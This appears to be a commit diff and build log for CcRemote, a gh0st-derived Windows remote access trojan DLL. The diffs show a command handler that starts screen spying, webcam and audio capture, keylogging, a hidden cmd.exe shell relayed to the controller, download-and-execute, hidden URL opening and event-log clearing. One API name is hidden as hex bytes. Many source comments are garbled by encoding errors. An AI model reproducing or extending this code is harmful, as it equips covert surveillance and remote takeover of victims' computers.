f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(168): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll

View File

@@ -0,0 +1,29 @@
/*
typedef BOOL (WINAPI *CloseWindowT)(IN HWND hWnd);
class DynamicAPI
{
public:
CloseWindowT pCloseWindowT;
void init_user32(){
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
}
};
*/
typedef BOOL (WINAPI* CloseWindowT)(IN HWND hWnd);
class DynamicAPI
{
public:
CloseWindowT pCloseWindowT;
void init_user32()
{
//char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77,0};
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
char chTemp[]={0x43, 0x6C, 0x6F, 0x73, 0x65, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0};
//pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),"CloseWindow");
pCloseWindowT=(CloseWindowT)GetProcAddress(LoadLibrary("USER32.dll"),chTemp);
}
};

View File

@@ -1,18 +0,0 @@
f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb
f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll
f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog

View File

@@ -1,24 +0,0 @@
 pch.cpp
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(70): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(72): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(208): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(322): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(401): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(456): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
dllmain.cpp
正在生成代码
All 6 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Release\CcMainDll.dll

View File

@@ -1,7 +1,7 @@
// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "AudioManager.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -10,7 +10,8 @@
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "Audio.h"
#include "..\..\..\common\Audio.h"
class CAudioManager : public CManager
{
public:

View File

@@ -1,6 +1,7 @@
// Dialupass.cpp: implementation of the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "Dialupass.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////

View File

@@ -199,7 +199,7 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
char *lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
char *lpExt = strrchr(lpFile, '.');
const char *lpExt = strrchr(lpFile, '.');
if (!lpExt)
return false;
@@ -231,9 +231,10 @@ bool CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
char local_lpDesktop[] = "WinSta0\\Default";
si.cb = sizeof si;
if (nShowCmd != SW_HIDE)
si.lpDesktop = "WinSta0\\Default";
si.lpDesktop = local_lpDesktop;
CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
@@ -252,8 +253,8 @@ UINT CFileManager::SendDriveList()
unsigned __int64 HDFreeSpace = 0;
unsigned long AmntMB = 0; // <20>ܴ<EFBFBD>С
unsigned long FreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
for (DWORD dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
DWORD dwOffset = 0;
for (dwOffset = 1; *pDrive != '\0'; pDrive += lstrlen(pDrive) + 1)
{
memset(FileSystem, 0, sizeof(FileSystem));
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
@@ -540,7 +541,7 @@ bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
WIN32_FIND_DATA wfd;
char lpszFilter[MAX_PATH];
char *lpszSlash = NULL;
const char *lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')

View File

@@ -2,7 +2,7 @@
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "KernelManager.h"
#include "loop.h"
#include "until.h"
@@ -56,23 +56,23 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // Զ<><D4B6>sehll
case COMMAND_SHELL: // Զ<><D4B6>shell-CMD
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
@@ -80,39 +80,43 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM:
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
break;
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_REMOVE: // ж<><D0B6>,
case COMMAND_REMOVE: // ж<><D0B6>,
UnInstallService();
break;
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
CleanEvent();
break;
case COMMAND_SESSION:
CSystemManager::ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
}

View File

@@ -1,7 +1,7 @@
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "KeyboardManager.h"
#pragma comment(lib, "Imm32.lib")

View File

@@ -3,7 +3,7 @@
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
//---<2D><>ʵ<EFBFBD><CAB5>CManager<65><72>ʲôҲû<D2B2><C3BB>ʵ<EFBFBD><CAB5> <20><><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD><EFBFBD>ôʹ<C3B4><CAB9>cClientSocket<65>ĵ<EFBFBD>main <20><><EFBFBD><EFBFBD>
#include "Manager.h"
#include "until.h"

View File

@@ -10,7 +10,7 @@
#endif // _MSC_VER > 1000
#include <winsock2.h>
#include "../ClientSocket.h"
#include "..\..\common\macros.h"
#include "..\..\..\common\macros.h"
#include "until.h"
#ifdef _CONSOLE
#include <stdio.h>

View File

@@ -1,3 +1,4 @@
#include "..\pch.h"
#include <windows.h>
//ȥ<><C8A5><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>Ŀո<C4BF>
char *DelSpace(char *szData)

View File

@@ -1,10 +1,11 @@
// ScreenManager.cpp: implementation of the CScreenManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#define _WIN32_WINNT 0x0400
#include "ScreenManager.h"
#include "until.h"
#include <winable.h> // BlockInput
#include <WinUser.h> // BlockInput
//////////////////////////////////////////////////////////////////////
// Construction/Destruction

View File

@@ -1,6 +1,7 @@
// ScreenSpy.cpp: implementation of the CScreenSpy class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ScreenSpy.h"
#include "until.h"
@@ -351,10 +352,13 @@ void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
{
UINT nJumpLine = 50;
UINT nJumpSleep = nJumpLine / 10; // ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int nOther;
int nToJump = 0;
int i = 0;
// ɨ<><C9A8><EFBFBD><EFBFBD>Ļ
for (int i = 0, int nToJump = 0; i < nHeight; i += nToJump)
for (i = 0, nToJump = 0; i < nHeight; i += nToJump)
{
int nOther = nHeight - i;
nOther = nHeight - i;
if (nOther > nJumpLine)
nToJump = nJumpLine;

View File

@@ -5,7 +5,7 @@
#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
#include <windows.h>
#include "CursorInfo.h"
#include "..\..\..\common\CursorInfo.h"
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

View File

@@ -1,7 +1,7 @@
// ShellManager.cpp: implementation of the CShellManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "ShellManager.h"
//////////////////////////////////////////////////////////////////////
@@ -10,7 +10,7 @@
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
{
SECURITY_ATTRIBUTES sa = {0};
SECURITY_ATTRIBUTES sa = {0}; //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
char strShellPath[MAX_PATH] = {0};
@@ -23,14 +23,14 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
{
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
return;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
{
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
@@ -45,12 +45,13 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = m_hReadPipeShell;
si.hStdInput = m_hReadPipeShell;//<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
si.hStdOutput = si.hStdError = m_hWritePipeShell;
GetSystemDirectory(strShellPath, MAX_PATH);
strcat(strShellPath,"\\cmd.exe");
//<2F><><EFBFBD><EFBFBD>CMD<4D><44><EFBFBD>̣<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ܵ<EFBFBD>
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
@@ -63,10 +64,15 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
m_hProcessHandle = pi.hProcess;
m_hThreadHandle = pi.hThread;
//<2F><>־<EFBFBD><D6BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> shell<6C><6C><EFBFBD><EFBFBD>
BYTE bToken = TOKEN_SHELL_START;
//֪ͨ׼<D6AA><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Send((LPBYTE)&bToken, 1);
WaitForDialogOpen();
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ȴ<EFBFBD><C8B4>߳<EFBFBD> <20>ȴ<EFBFBD><C8B4>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>رգ<D8B1><D5A3>ն˽<D5B6><CBBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
}
@@ -102,14 +108,18 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>źŴ򿪣<C5B4>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WaitForDialogOpen();ִ<>к<EFBFBD><D0BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
NotifyDialogIsOpen();
return;
}
unsigned long ByteWrite;
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}
//<2F><>ȡCMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
unsigned long BytesRead = 0;
@@ -119,14 +129,18 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
while (1)
{
Sleep(100);
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ݴ<EFBFBD>С
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
{
//û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
if (BytesRead <= 0)
break;
memset(ReadBuff, 0, sizeof(ReadBuff));
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->Send(lpBuffer, BytesRead);
LocalFree(lpBuffer);
}
@@ -134,6 +148,8 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
return 0;
}
//<2F>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̹߳ر<CCB9><D8B1><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
{
CShellManager *pThis = (CShellManager *)lparam;
@@ -141,6 +157,8 @@ DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
hThread[0] = pThis->m_hProcessHandle;
hThread[1] = pThis->m_hThreadRead;
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
//<2F>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CMDѭ<44><D1AD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
TerminateThread(pThis->m_hThreadRead, 0);
TerminateProcess(pThis->m_hProcessHandle, 1);
pThis->m_pClient->Disconnect();

View File

@@ -2,7 +2,7 @@
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "SystemManager.h"
#include "Dialupass.h"
#include <tlhelp32.h>
@@ -12,13 +12,22 @@
#pragma comment(lib,"Psapi.lib")
#include "until.h"
#include <tchar.h>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(CClientSocket *pClient) : CManager(pClient)
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
{
SendProcessList();
m_caseSystemIs = bHow;
